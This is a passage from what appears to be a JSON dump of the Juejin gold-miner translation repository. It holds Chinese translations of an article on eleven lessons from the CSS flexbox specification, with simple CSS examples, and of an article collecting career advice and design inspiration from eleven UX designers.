如果你需要有人帮忙完成列表上的事情，可以在这里寻找[设计师](https://www.awesomeweb.com/skill/web-design)、[开发者](https://www.awesomeweb.com/skill/web-development)，或者[发布你的招聘广告](https://www.awesomeweb.com/why-post-a-job)。我们拥有世界上最好的自由职业者，他们非常乐意帮助你！\n\n如果你也希望加入 AwesomeWeb 成为一名自由职业者，并认识更多客户，可以[点击这里注册](https://www.awesomeweb.com/signup)。\n\n"
  },
  {
    "path": "TODO/11-things-i-learned-reading-the-flexbox-spec.md",
    "content": "> * 原文地址：[11 things I learned reading the flexbox spec](https://hackernoon.com/11-things-i-learned-reading-the-flexbox-spec-5f0c799c776b)\n> * 原文作者：本文已获原作者 [David Gilbertson](https://hackernoon.com/@david.gilbertson) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[XatMassacrE](https://github.com/XatMassacrE)\n> * 校对者：[zaraguo](https://github.com/zaraguo)，[reid3290](https://github.com/reid3290)\n\n# 读完 flexbox 细则之后学到的 11 件事\n\n在经历了多年的浮动布局和清除浮动的折磨之后，flexbox 就像新鲜空气一般，使用起来是如此的简单方便。\n\n然而最近我发现了一些问题。当我认为它不应该是弹性的时候它却是弹性的。修复了之后，别的地方又出问题了。再次修复之后，一些元素又被推到了屏幕的最右边。这到底是什么情况？\n\n当然了，最后我把它们都解决了，但是黄花菜都凉了而且我的处理方式也基本上没什么规范，就好像那个砸地鼠的游戏，当你砸一个地鼠的时候，另一个地鼠又冒出来，很烦。\n\n不管怎么说，我发现要成为一个成熟的开发者并且真正地学会 flexbox 是需要花时间的。但是不是再去翻阅另外的 10 篇博客，而是决定直接去追寻它的源头，那就是阅读 [The CSS Flexible Box Layout Module Level 1 Spec](https://www.w3.org/TR/css-flexbox-1/)。\n\n下面这些就是我的收获。\n\n### 1. Margins 有特别的功能\n\n我过去常常想，如果你想要一个 logo 和 title 在左边，sign in 按钮在右边的 header ...\n\n![](https://cdn-images-1.medium.com/max/800/1*Y1xY5s_DFPRaZzTwpfb_WQ.png)\n\n点线为了更清晰\n\n... 那么你应该给 title 的 flex 属性设置为 1 就可以把其他的条目推到两头了。\n\n```\n.header {\n  display: flex;\n}\n.header .logo {\n  /* nothing needed! */\n}\n.header .title {\n  flex: 1;\n}\n.header .sign-in {\n  /* nothing needed! */\n}\n```\n\n这就是为什么说 flexbox 是个好东西了。看看代码，多简单啊。\n\n但是，从某种角度讲，你并不想仅仅为了把一个元素推到右边就拉伸其他的元素。它有可能是一个有下划线的盒子，一张图片或者是因为其他的什么元素需要这样做。\n\n好消息！你可以不用说“把这么条目推到右边去”而是更直接地给那个条目定义 `margin-left: auto`，就像 `float: right`。\n\n举个例子，如果左边的条目是一张图片：\n\n![](https://cdn-images-1.medium.com/max/800/1*hFLefXP4fsgnFDIjPIcrTQ.png)\n\n我不需要给图片使用任何的 flex，也不需要给 flex 容器设置 `space-between`，只需要给 'Sign in' 按钮设置 `margin-left: auto` 就可以了。\n\n```\n.header {\n  display: flex;\n}\n.header .logo {\n  /* nothing needed! */\n}\n.header .sign-in {\n  margin-left: auto;\n}\n```\n\n你或许会想这有一点钻空子，但是并不是，在 [概述](https://www.w3.org/TR/css-flexbox-1/#overview) 里面**这个**方法就是用来将一个 flex 条目推到 flexbox 的末端的。它甚至还有自己单独的章节，[使用 auto margins 对齐](https://www.w3.org/TR/css-flexbox-1/#auto-margins)。\n\n哦对了，我应该在这里添加一个说明，在这篇博客中我会假设所有的地方都设置了 `flex-direction: row`。但是对于 `row-reverse`，`column` 和 `column-reverse` 也都是适用的。\n\n### 2. min-width 问题\n\n你或许会想一定有一个直截了当的方法确保在一个容器中所有的 flex 条目都适应地收缩。当然了，如果你给所有的条目设置 `flex-shrink: 1`，这不就是它的作用吗？\n\n还是举例说吧。\n\n假设你有很多的 DOM 元素来显示出售的书籍并且有个按钮来购买它。\n\n![](https://cdn-images-1.medium.com/max/800/1*kx1Xl4o5at3whroR9gB0Dw.png)\n\n(剧透：蝴蝶最后死了)\n\n你已经用 flexbox 安排地很好了。\n\n```\n.book {\n  display: flex;\n}\n.book .description {\n  font-size: 30px;\n}\n.book .buy {\n  margin-left: auto;\n  width: 80px;\n  text-align: center;\n  align-self: center;\n}\n```\n\n(你想让 'Buy now' 按钮在右边，即使是很短的标题的时候，那么你就要给他设置 `margin-left: auto`。)\n\n这个标题太长了，所以他占用了尽可能多的空间，然后换到了下一行。你很开心，生活真美好。你洋洋得意地将代码发布到生产环境并且自信地认为没有任何问题。\n\n然后你就会得到一个惊喜，但不是好的那种。\n\n一些自命不凡的作者在标题中用了一个很长的单词。\n\n![](https://cdn-images-1.medium.com/max/800/1*skXsBLXnoul3J64xKb1HmA.png)\n\n那就完了！\n\n如果那个红色的边框代表手机的宽度，并且你隐藏了溢出，那么你就失去你的 'Buy now' 按钮。你的转换率，可怜的作者的自我感觉都会遭殃。\n\n(注：幸运的是我工作的地方有一个很棒的 QA 团队，他们维护了一个拥有各种类似于这样的令人不爽的文本的数据库。也正是这个问题特别的促使我去阅读这些细则。)\n\n就像图片展示的那样，这样的表现是因为描述条目的 `min-width` 初始被设置为 `auto`，在这种情况下就相当于 **Electroencephalographically** 这个单词的宽度。这个 flex 条目就如它的字面意思一样不允许被任何的压缩。\n\n那么解决办法是什么呢？重写这个有问题的属性，将 `min-width: auto` 改为 `min-width: 0`，给 flexbox 指明了对于这个条目可以比它里面的内容更窄。\n\n这样就可以在条目里面处理文本了。我建议包裹单词。那么你的 CSS 代码就会是下面这个样子：\n\n```\n.book {\n  display: flex;\n}\n.book .description {\n  font-size: 30px;\n  min-width: 0;\n  word-wrap: break-word;\n}\n.book .buy {\n  margin-left: auto;\n  width: 80px;\n  text-align: center;\n  align-self: center;\n}\n```\n\n这样的结果就是这个样子：\n\n![](https://cdn-images-1.medium.com/max/800/1*lM96U8XNZJEGPrVwqJk91w.png)\n\n重申一下，`min-width: 0` 不是什么为了特定结果取巧的技术，它是[细则中建议的行为 ](https://www.w3.org/TR/css-flexbox-1/#min-size-auto)。\n\n下个章节我会处理尽管我明确写明了但是 ‘Buy now’ 按钮仍然不总是 80px 宽的问题。\n\n### 3. flexbox 作者的水晶球\n\n就像你知道的，`flex` 属性其实是 `flex-grow`，`flex-shrink` 和 `flex-basis` 的简写。\n\n我必须承认为了达到我想要的效果，我在不停地尝试和验证这三个属性上面花费了很多时间。\n\n但是直到现在我才明白，我其实只是需要这三者的一个组合。\n\n- 如果我想当空间不够的时候条目可以被压缩，但是不要伸展，那么我们需要：`flex: 0 1 auto`\n- 如果我的条目需要尽可能地填满空间，并且空间不够时也可以被压缩，那么我们需要：`flex: 1 1 auto`\n- 如果我们要求条目既不伸展也不压缩，那么我们需要：`flex: 0 0 auto`\n\n我希望你还不是很惊奇，因为还有让你更惊奇的。\n\n你看，Flexbox Crew (我通常认为 flexbox 团队的皮衣是男女都能穿的尺寸)。对，Flexbox Crew 知道我用得最多的就是这三个属性的组合，所以他们给予了这些组合 [对应的关键字](https://www.w3.org/TR/css-flexbox-1/#flex-common)。\n\n第一个场景是 `initial` 的值，所以并不需要关键字。`flex: auto` 适用于第二种场景，`flex: none` 是条目不伸缩的最简单的解决办法。\n\n早就该想到它了。\n\n它就好像用 `box-shadow: garish` 来默认表示 `2px 2px 4px hotpink`，因为它被认为是一个 ‘有用的默认值’。\n\n让我们再回到之前那个丑陋的图书的例子。让我们的 'Buy now' 按钮更胖一点...\n\n![](https://cdn-images-1.medium.com/max/800/1*oaBk_GjcSHAvSkdhJhwkSA.png)\n\n... 我只要设置 `flex: none`：\n\n```\n.book {\n  display: flex;\n}\n.book .description {\n  font-size: 30px;\n  min-width: 0;\n  word-wrap: break-word;\n}\n.book .buy {\n  margin-left: auto;\n  flex: none;\n  width: 80px;\n  text-align: center;\n  align-self: center;\n}\n```\n\n(是的，我可以设置 `flex: 0 0 80px;` 来节省一行 CSS。但是设置为 `flex: none`可以更清楚地表示代码的语义。这对于那些忘记这些代码是如何工作的人来说就友好多了。 )\n\n### 4. inline-flex\n\n坦白讲，几个月前我才知道 `display: inline-flex` 这个属性。它会代替块容器创建一个内联的 flex 容器。\n\n但是我估计有 28% 的人还不知道这件事，所以现在你就不是那 28% 了。\n\n### 5. vertical-align 不会对 flex 条目起作用\n\n或者这件事我并不是完全的懂，但是从某种意义上我可以确定，当使用 `vertical-align: middle` 来尝试对齐的时候，它并不会起作用。\n\n现在我知道了，细则里面直接写了，[vertical-align 在 flex 条目上不起作用](https://www.w3.org/TR/css-flexbox-1/#flex-containers)” (注意：就好像 `float` 一样)。\n\n### 6. margins 和 padding 不要使用 %\n\n这并不仅仅是一个最佳实践，它类似于外婆说的话，去遵守就好了，不要问为什么。\n\n\"开发者们在 flex 条目上使用 paddings 和 margins 时，应该避免使用百分比\" — 爱你的，flexbox 细则。\n\n下面是我在细则里面看到的最喜欢的一段话。\n\n> 注解：这个变化糟透了，但是它精准地抓住了世界的当前状态(实现无定法，CSS 无定则)\n\n> 当心，糖衣炮弹进行中。\n\n### 7. 相邻的 flex 条目的边缘不会塌陷\n\n你或许知道有时候会出现相邻条目的边缘塌陷。你或许也知道其他的时候**不会**出现边缘塌陷。\n\n现在我们都知道相邻的 flex 条目是不会发生边缘塌陷的。\n\n### 8. 即使 position: static，z-index 也会有效\n\n我不确定我是否真的在乎这一点。但是我想到或许有一天，它就会真地有用。就好像我冰箱里有一瓶柠檬汁。\n\n某一天我家来了其他人，然后他会问：\"嗨，你这里有柠檬汁吗？\"，我这时就会告诉他：\"有的，就在冰箱里\"，他会接着说：\"谢谢，大兄弟。那么如果我想给一个 flex 条目设置 z-index，我需要指定 position 吗？\"，我会说：\"兄弟，不需要，flex 条目不需要这样。\"\n\n### 9. Flex-basis 是精细且重要的\n\n一旦 `initial`，`auto` 和 `none` 都不能满足你的需求时，事情就有点复杂了，但是我们**有** `flex-basis`，有趣的是，你知道的，我不知道怎么结束这句话。如果你们有好的建议的话，欢迎留言。\n\n如果你有 3 个 flex 条目，它们的 flex 值分别为 3，3 和 4。那么当 `flex-basis` 为 `0` 的话它们就会忽略他们的内容，占据可用空间的 30%，30%，40%。\n\n然而，如果你想要 flex 更友好但是有点不太可预测的话，使用 `flex-basis: auto`。这个会将你的 flex 的值设置得更合理，同时也会考虑到一些其他因素，然后为你给出相对合理的宽度。\n\n看看这个很棒的示意图。\n\n![](https://cdn-images-1.medium.com/max/800/1*eiAn12jGzun4F7U3mfqUtQ.png)\n\n我十分确定我读到的关于 flex 的博客中至少有一篇提到了这一点，但是我也不知道为什么，直到我看到上面这张图才想起来。\n\n### 10. align-items: baseline\n\n如果我想让我的 flex 条目垂直对齐，我总是使用 `align-items: center`。但是就像 `vertical-align`一样，这样当你的条目有不同的字体大小并且你希望它们基于 baselines 对齐的时，你需要设置 `baseline` 才能对齐的更完美。\n\n`align-self: baseline` 也可以，或许更直观。\n\n### 11. 我很蠢\n\n下面这段话不论我读几遍，都无法理解它的含义...\n\n> 在主轴上内容大小是最小内容大小的尺寸，并且是加紧的，如果它有一个宽高比，那么任何定义的 min 和 max 的大小属性都会通过宽高比转换，并且如果主轴的 max 尺寸是确定的话会进一步加紧。\n\n这些单词通过我的眼睛被转化成电信号穿过我的视神经，刚刚抵达的时候就看到我的大脑打开后门一溜烟跑了。\n\n就像米老鼠和疯狂麦克斯 7 年前生了个孩子，现在和薄荷酒喝醉了，使用他从爸爸妈妈吵架时学到的语言肆意的辱骂周围的人。\n\n女士们，先生们，我已经放弃了体面开始胡言乱语了，这意味着你可以关闭这篇文章了(如果你看这个是为了学习的话你可以在这里停止了)。\n\n\n读这篇细则我学到的最有趣的事情是，尽管我看过大量的博文，以及 flexbox 也算是相对简单的知识点，但是我对其的了解曾是那么的不彻底。事实证明 '经验' 不总是起作用的。\n\n我可以很开心的说花时间来阅读这些细则已经得到了回报。我已经优化的我的代码，设置了 auto margins，flex 的值也设置成了 auto 或者 none，并在需要的地方定义了 min-width 为 0。\n\n现在这些代码看起来好多了，因为我知道这样做是正确的。\n\n我的另外一个收获就是，尽管这些细则在某些方面正如我所想的基于编者视角并有些庞杂，但是仍然有有很多友好的说明和例子。甚至还高亮了那些初级开发者容易忽略的部分。\n\n然而，这个是多余的，因为我已经告诉了你所有有用知识点，你就不用再自己去阅读了。\n\n现在，如果你们要求，那么我会再去阅读所有其他的 CSS 细则。\n\nPS：我强烈建议读读这个，一个浏览器 flexbox bugs 的清单：[https://github.com/philipwalton/flexbugs](https://github.com/philipwalton/flexbugs).\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/11-top-designers-give-11-pieces-of-realistic-ux-advice.md",
    "content": "* 原文链接 : [11 Top Designers Share Honest Career Advice](https://studio.uxpin.com/blog/11-top-designers-give-11-pieces-of-realistic-ux-advice/)\n* 原文作者 : [Roger Huang]\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Adam Shen](https://github.com/shenxn)\n* 校对者: [joyking7](https://github.com/joyking7)，[circlelove](https://github.com/circlelove)\n\n# 11个顶级设计师分享他们的职业建议\n\n优秀的设计者是终生学习者。\n\n在 [Springboard](http://springboard.com)，我们将 UX（User Experience 即用户体验） 以及数据科学的导师和学习者配对，这有助于我们听从前辈的意见。\n\n在我们免费的[用户体验职业引导 - Guide to UX Careers](https://www.springboard.com/guide-to-ux-design-careers/) 中，我们汇总了许多领域内顶尖从业者的建议。\n\n我们采访了11位厉害的 UX 设计师，询问了他们的设计灵感，并且也让他们给其他从业者提了一些 UX 方面的建议。\n\n我们与 [UXPin](https://www.uxpin.com/) 的团队合作为你带来了以下的见解。\n\n## 1\\. [**Paul Boag**](https://twitter.com/boagworld)\n\n作为一个网站设计代理商 [Headscape](http://headscape.co.uk/)(雀巢、麦克米伦、以及一些英国的大学都是他们的客户) 的联合创始人，Paul 从事网站相关工作已经二十多年了。他同时也是一个发表了大量作品的作家和演说家。\n\n![image05](https://studio.uxpin.com/wp-content/uploads/2016/02/image052.png)\n\n### **设计灵感**\n\n我最喜欢的设计就是原始版本的[伦敦地铁图](http://www.theverge.com/2013/3/29/4160028/harry-beck-designer-of-iconic-london-underground-map)。\n\n它打破常规的设计使之具有相当的开创性。它抛弃了呈现真实距离和地点的传统，这样，他们就可以将复杂的地铁网络用非常简单的方式呈现出来。对我来说，这就是一个优秀的设计应该要做到的：从一个不同的角度切入以使用简单的方式去表达复杂的东西。\n\n![image11](https://studio.uxpin.com/wp-content/uploads/2016/02/image11.png)\n\n### **职业建议**\n\n老实说，我绝对不会给年轻的我任何意见，因为我知道我一定不会听的。\n\n即使我听从了，我也不会像我自己发现一样学到那么多。学习任何事的最好方法都是从错误中学习，所以我不希望让年轻的我失去这个机会。就像 Winston Churchill 曾经说过的：“成功就是不断失败而热情不减。”\n\n不要听从任何人，犯你自己的错，当你失败的时候，爬起来，再试一次。\n\n## 2\\. [**Eva Kaniasty**](https://twitter.com/kaniasty)\n\nEva 运营着她自己在波士顿的公司 [Red Pill UX](http://www.redpillux.com/)。她同时也是 [UXPA](http://www.upaboston.org/) 的主席。\n\n![image14](https://studio.uxpin.com/wp-content/uploads/2016/02/image14.png)\n\n### **设计灵感**\n\n我最近发现了 [多邻国](https://www.duolingo.com/)，一个在线语言学习平台\n\n我喜欢它的 UX 有很多的原因。它的用户界面非常简洁、有趣且具有激励性。许多应用试图结合游戏性以及社区，只是因为这样做很酷，这最终导致这些功能就像是后来加入的。而多邻国在课程中完美运用游戏元素和多样化的课程来吸引用户。\n\n![image12](https://studio.uxpin.com/wp-content/uploads/2016/02/image12-1024x662.png)\n\n我也很喜欢它的语言沉浸功能，用户可以在翻译上相互合作。记忆和重复是语言初学者总是要经历的阶段，但这总让人感到无趣。而多邻国在这方面的尝试非常有创意。\n\n我总是觉得我们消费者应用的创新上已经到达了某种意义上的高处，所以还能见到一些很新鲜的同时也很合适的创意让人感到非常惊喜。\n\n### **职业建议**\n\n要知道在像 UX 这样需要合作的职业中，人远比技能重要。如果你有研究和设计的天分，你迟早都能学会这些技能。但是人际关系会很大程度上影响你职业的成败。\n\n当我把最初的职业变成高科技的时候，我知道很少有人跟我在做一样的事。当我回到学校，在 Bentley University 学习人为因素工程（Human Factors）的时候，我感觉像是进入了一个全新的世界。当然，这很大程度上是由于学到的东西，但是能在那里遇到那么多人也很有意义。\n\n现在我依然在参与当地的 UX 专家协会（UXPA）分会活动，当我现在开始做独立咨询的时候，那个团体甚至变得更重要了。所以尽可能去与那些跟你一样对用户体验富有热情的人交流，并且去询问他们的意见。\n\n## 3\\. [**Mike Kus**](https://twitter.com/mikekus)\n\nMike 最初从事平面设计，之后转而做网站设计。他与 Twitter、微软、MailChimp 等公司合作，创造了许多兼顾形式和功能性的用户体验设计。\n\n![image01](https://studio.uxpin.com/wp-content/uploads/2016/02/image018.png)\n\n### **设计灵感**\n\n[Hipopotam Studio](http://hipopotamstudio.pl)，我喜欢这个网站以及它纯粹的、富有创意和乐趣的UI。\n\n![image13](https://studio.uxpin.com/wp-content/uploads/2016/02/image13-1024x525.png)\n\n### **职业建议**\n\n学会将用户界面趋势和实用的设计惯例分开。单单因为一种设计方式当前被广泛使用，不意味着这就是最好的方法。\n\n## 4\\. [**Jack Zerby**](https://twitter.com/jackzerby)\n\nJack 是 [Flavors.me](http://flavors.me/) 和 [Flavors.me](http://flavors.me/) 的联合创始人，[Vimeo](https://vimeo.com/) 的前设计主管。Jack 说在它高中第一次启动 Photoshop 时，就被设计吸引了，同时，他的父亲对他的影响也非常大。现在你可以在 [Workshop](https://thisisworkshop.com/)（一个面向年轻人的企业家培训项目） 上找到他。\n\n![image15](https://studio.uxpin.com/wp-content/uploads/2016/02/image15.png)\n\n## **设计灵感**\n\n我近来最喜欢的产品体验就是在城区中使用 [ParkMobile 应用](https://play.google.com/store/apps/details?id=net.sharewire.parkmobilev2&hl=en)\n\n我再也不需要在附近花几十分钟的时间寻找熟食店换零钱来支付停车费了，我现在可以直接输入[停车计时表上的数字](http://parkitnyc.com/wp-content/uploads/2011/08/image_parkmobile_meter-279x300.png)，设定好预计的停车时间，然后在应用中直接支付停车费。当预计时间快要结束时，应用还会给我发来消息，如果我需要的话，可以直接加钱以延长停车时间。\n\n![image18](https://studio.uxpin.com/wp-content/uploads/2016/02/image18.png)\n\n流畅而且没有麻烦。\n\n### **职业建议**\n\n总是去考虑最终呈现给用户的结果以及用户所处的情境：用户需要在怎样的情境中完成哪些任务？\n\n举个例子，我试图在我的车上安装一个自行车架，于是我访问了制造商的网站。我的目标是尽快安装好自行车架并行驶上路。我当前的情形是，我顶着大太阳站在车外，而我的孩子们都在哭，因为他们想要立刻到公园去。\n\n设计的时候应时刻牢记，要试图去理解你的用户。就像是成功的营销一样，要去理解用户遇到的问题、挫折，并且使用他们能听懂的方式去交流。\n\n不要去猜测或是落入设计者的傲慢（这是我们总是在做的）。\n\n## 5\\. [**Laura Klein**](https://twitter.com/lauraklein)\n\nLaura 在硅谷做了15年的工程师和设计师。她的目标是帮助创业公司了解他们的用户，从而更快地做出更好的产品。她的书，[UX 精益创业 - UX for Lean Startups](http://www.amazon.com/UX-Lean-Startups-Experience-Research/dp/1449334911)，以及她倍受欢迎的设计博客，[Users Know](http://usersknow.blogspot.com/)，都告诉了产品所有者他们在做研究和设计的时候，需要了解什么。\n\n![image06](https://studio.uxpin.com/wp-content/uploads/2016/02/image062.png)\n\n### **设计灵感**\n\n用户体验设计师总是只注意到那些让我们感觉不舒服的设计，我想这大概是一种诅咒吧，又或者只有我是这样的。无论如何，我总是很喜欢任何简单的、与我的生活融为一体的、我甚至不去注意到的那些设计。\n\n### **职业建议**\n\n寻找两位导师。\n\n第一位导师应该是一个在你关心的领域比你经验丰富并且具有影响力的人。他们会帮助你，给你一些观点，并且教会你被他们那样的人雇佣所必须的技能。\n\n第二位导师应该是比你年长几岁的人。他们会教你做你想做的工作需要知道的东西。我不知道现在那些刚开始做科技相关工作的人的生活是怎么样的，但是我确定那些只要是已经做这个工作几年的人就会有非常深刻的理解。\n\n所以，去寻找两个人：一个帮助你得到下一份工作的人和一个帮你做好下一份工作的人。\n\n## 6\\. [**Joshua Garity**](https://twitter.com/iamlucid)\n\n作为一个设计心理学家和品牌策略家，Joshua 曾与 Wendy's 以及纽约时报等公司合作，帮助它们更好地与顾客交流并增加他们的收入。你可以从[他的博客](http://www.joshuagarity.com/)、[Twitter](https://twitter.com/iamlucid) 以及 [Candorem](http://www.candorem.com/)（他经营的公司） 上看到他所说的东西。\n\n![image17](https://studio.uxpin.com/wp-content/uploads/2016/02/image17.png)\n\n### **设计灵感**\n\n用户体验存在于我们生活中的方方面面，它已经远远超出数字网络的范围。用户体验应该从与真实媒体或平台交互环境的角度来考虑。\n\n把汽车作为例子。\n\n假设我们在车上的大多数时间都是在驾驶。当我们驾驶的时候，我希望能优先照顾到眼前道路上的情况：保持在自己的车道内行驶，不超速，主语其他车辆，行人和动物。但是我们在车辆中引入了收音机和空调。视线从道路上移开哪怕是不到一秒的时间，都会对在路上的每一个人造成很大的安全威胁。所以，为什么汽车制造商在设计中控板的时候，没有留心它呢？大多数车辆的中控板上都有过多的选项、按钮一级转盘，有些车辆甚至使用触摸屏来改变空调温度或是收音机电台。\n\n如果用户体验是关于交互环境的话，我们需要关注如何简化体验来使用户的主要注意力不会放在那些不良影响上。\n\n一个优秀的设计能够在不需要用户过多思考的情况下就正确地引导他们。\n\n### **职业建议**\n\n不要轻易满足。活在当下。不要让一个标签定义你，或是限制你的人生目标。试图从一切人和物中寻找答案，即使一开始他们看起来与问题毫无关系。你总是能够变成任何你想要的样子。\n\n\n## 7\\. [**Kevin M. Hoffman**](https://twitter.com/kevinmhoffman)\n\n在 Seven Heads Design，Kevin 致力于“解决那些你甚至不知道你有的问题” —— 这不仅仅包含了人与电脑的交互，也包含了人与人自己的交互。他的客户包括哈佛大学、任天堂、以及 MTV。你可以在他的[网站](http://kevinmhoffman.com/)以及 [Twitter](https://twitter.com/kevinmhoffman) 上找到他。\n\n![image04](https://studio.uxpin.com/wp-content/uploads/2016/02/image044.png)\n\n### **设计灵感**\n\n我是整个 Android 系统以及 Google Play 用户体验的粉丝，我最近还爱上了 Android Wear。\n\n当 Android [Kit Kat](http://www.android.com/kitkat/) 版本以及 Nexus 5 发布的时候，我试着开始使用 Android。我认为其中有大量的界面选择都是非常好的。而其中我最喜欢的是其预见性以及[微交互（microinteraction）](http://microinteractions.com/)，比如在推送通知上你可以做的不同动作，或者系统将用户所需日程安排无缝整合。\n\n![image03](https://studio.uxpin.com/wp-content/uploads/2016/02/image035.jpg)\n\n当我第一次发现我可以仅仅使用两次点击就让其他人知道我可能要迟到时，我感觉到“哇！这真的很实用”。最近，我开始使用 Android Wear 手表，仅仅使用了五天的时间它就完全成为我生活中很自然的一部分了。现在当我需要处理一些社交状态时，我只需要时常看一看我的手表，而不需要从口袋中拿出手机来查看并处理消息。\n\n我同样也非常期待 Android Auto。我们还不知道下一代的 iOS 会是什么样的，但就现在来说，我并没有换回 iOS 的想法。\n\n\n### **职业建议**\n\n“嘿，年轻的我！\n\n你会花一些时间理想化你的长期目标，那会是一个很好的练习。你会考虑你理想的工作、雇主、生活方式、家庭、以及很多其他的事。但是事实上，你在以上这些事情中很少为感到满意，并且你不应该去等待一个完美的状态。\n\n把你的人生用来生活。\n\n最有趣的事，就是描绘那些你不论是否愿意而面对的事实上很小的决定。你的目标应该是做出更好的决定，使得它们能最大化地影响你的人生，而不是选择那些理想化的东西。\n\n此外，尽可能去理解自我怀疑能且仅能帮助你变得谦卑。不要过于严肃地对待你自己。更多地练习，因为你，对于这个年长的我，做了一些什么呢？此外（Also），不要过度使用‘also’这个词。”\n\n\n## 8\\. [**Lis Hubert**](https://twitter.com/lishubert)\n\nLis 曾与很多大大小小的公司合作创造一些科技产品：像 espnw.com 和 nba.com。这些产品都以某种有意义的方式改变着人们的生活。她同时也是 [Future Insights](http://futureinsights.com/) 活动的咨询董事会成员。\n\n![image10](https://studio.uxpin.com/wp-content/uploads/2016/02/image101.jpg)\n\n### **设计灵感**\n\n我近来最大的设计灵感来源于大城市的公共空间设计，比如我生活的纽约。\n\n我不仅注意到像中央公园这样的大型空间被设计得很好，还发现那些小的公共空间也同样给人带来便利。同时，我还着迷于观察在公园中、以及公园里的运动场和球场上活动的人。我把这样的生态系统当做灵感的原因是，要成功设计这些空间，设计师必须考虑到如此庞大的、多种多样的人群享受其中时的体验。如果设计不当，就很有可能变得拥挤不堪。\n\n![image16](https://studio.uxpin.com/wp-content/uploads/2016/02/image16.png)\n\n这对我来说，就是在构建用户体验时的目标。去思考，他们是通过怎样的考虑，使得这些公共空间能使用户、拥有者以及设计师都感到满意。\n\n### **职业建议**\n\n新手们，先冷静下来。\n\n在我们这个领域中工作经常要做的是，我们知道我们工作的重要性，并且我们希望其他人也能知道并且理解这个重要性。所以很多时候我们都在奋力地把我们的想法传达出去。\n\n这当然非常疲惫且令人沮丧。我意识到如此努力地把我的知识灌输给那些其他领域的人并不是主要该做的事。我同时也发现商业团队、技术团队或是其他任何人是否真正理解了我这些做法最深层次的意义并没有什么太大的关系。\n\n唯一重要的是，你对于你可以控制的内容富有热情，做好你负责的部分（如果有必要也可以做更多），来使你的这份热情来到生活中，并且你十分享受于这个过程。\n\n## 9\\. [**Matt Hamm**](https://twitter.com/matthamm)\n\n[Twitter](http://www.twitter.com/matthamm).\nMatt 是英国 [Supereight Studio](http://www.supereightstudio.com) 的联合创始人。他从1998年就开始设计网站了。你可以从[这里](http://www.matthamm.com/portfolio.php)找到他的作品，或是从 [Twitter](http://www.twitter.com/matthamm) 上找到他所说的话。\n\n![image02](https://studio.uxpin.com/wp-content/uploads/2016/02/image024.png)\n\n### **设计灵感**\n\nDropbox 仍然引领着 UX，其应用的体验是无缝的。\n\n一个优秀的 UX 设计应该是无法被感知的。Dropbox 非常完美的体验带给我很深的印象。设计师重视细节，且有独特的想法，而不是完全凭直觉去复制一些固有的设计模式。\n\n### **职业建议**\n\n用文档写下所有的事情！\n\n如果一个有序的 UX 设计能有一份详尽的参考文档将会极大地帮助你理解问题和找到解决方案。记得要同时记录下真实的体验，这些也同样能被用作参考。\n\n\n## 10**.** [**Pavel Macek**](https://twitter.com/pavel_macek)\n\nPavel 现在是 [Slack](http://slack.com) 的一名产品设计师。Pavel 说他“非常在乎用户”，这也体现在他的作品中：他设计出的产品都令许多人感到享受。你可以在[这里](https://twitter.com/pavel_macek)关注他。\n\n![image19](https://studio.uxpin.com/wp-content/uploads/2016/02/image19.png)\n\n### **设计灵感**\n\n对我来说，UX 设计的一个极佳的例子就是 Technics 唱机转盘 SL-1200，这款转盘已经在没有重大改动的情况下卖了35年了。然而这依然是 DJ、制作人和音乐家圈子中最流行的唱机转盘。\n\n![image07](https://studio.uxpin.com/wp-content/uploads/2016/02/image072-1024x697.png)\n\n这极好地证明了实用性设计以及将创新的设计和精确的执行相结合的重要性。我觉得人们常常忘记保证功能性也是 UX 设计师的职责所在，但这恰恰是决定产品是否成功的最终因素。\n\n### **职业建议**\n\n不要在所有的设计方法论和设计模式中迷失。学习设计框架以及保持严格的设计流程是非常重要的，但是开头总是很简单的：我在为谁设计？他需要实现什么？我能够如何帮助他实现？\n\n然后就只是重复和学习哪些方法可行而哪些不可行。\n\n## 11**.** [**Robert Fabricant**](https://twitter.com/fabtweet)\n\nRobert 是健康护理和社会创新设计方面的专家。它最近在领导 [Masiluleke 项目](http://www.poptech.org/project_m)。这是一个在南非利用移动技术对抗 HIV/AIDS 的创新项目。他之前在一个国际上非常有声望的设计代理机构 [frog design](http://www.frogdesign.com/) 工作。他同时也[开设课程](http://about.tisch.nyu.edu/object/FabricantR.html)、做演讲、以及[写文章](http://www.fastcodesign.com/user/robert-fabricant)。\n\n![image09](https://studio.uxpin.com/wp-content/uploads/2016/02/image091.jpg)\n\n### **设计灵感**\n\n我总是会被[纽约市地铁系统](http://www.fastcodesign.com/1665022/why-does-interaction-design-matter-lets-look-at-the-evolving-subway-experience)惊人的、多方面的用户体验所启发。\n\n我至少已经坐地铁45年了。除非你生活在其中，并且生活了很长一段时间，不然你永远无法准确说出一种体验的价值。\n\n我们赞美的太多用户体验都是转瞬即逝的：那些应用没几个月可能就不在我们的手机里了。但是地铁一直都在这里，任何改进都是很缓慢的，都需要人工和钢铁来进行。这样的设计是很慢而且很困难的工作。\n\n![image00](https://studio.uxpin.com/wp-content/uploads/2016/02/image009-1024x602.png)\n\n然而，改变是永恒的。作为纽约居民，几乎没有什么其他的系统比地铁更需要了解了。但是体验是从哪里开始哪里结束的呢？体验并不仅仅局限于地铁站内、地铁上和验票闸门口。\n\n近年来，地铁系统已经成为了一个实验平台。用于实验不论是经过验证的还是临时性的想法。最近，联合广场的平台上开始试用一些大型的触摸屏信息显示器。观察人们第一次与之互动，并通过这一项实验把这座大型城市（对这就是我的家乡）中这么多人连接起来，是一件非常吸引人的事。\n\n作为 UX 设计师，我们应该思考和实践一些大范围的实验。什么对象会比一座城市更好？数据和移动性在哪里可以更好地结合？以及我们在哪里可以持续探索和享受我们自己的实验与周围实验的差距。\n\n### 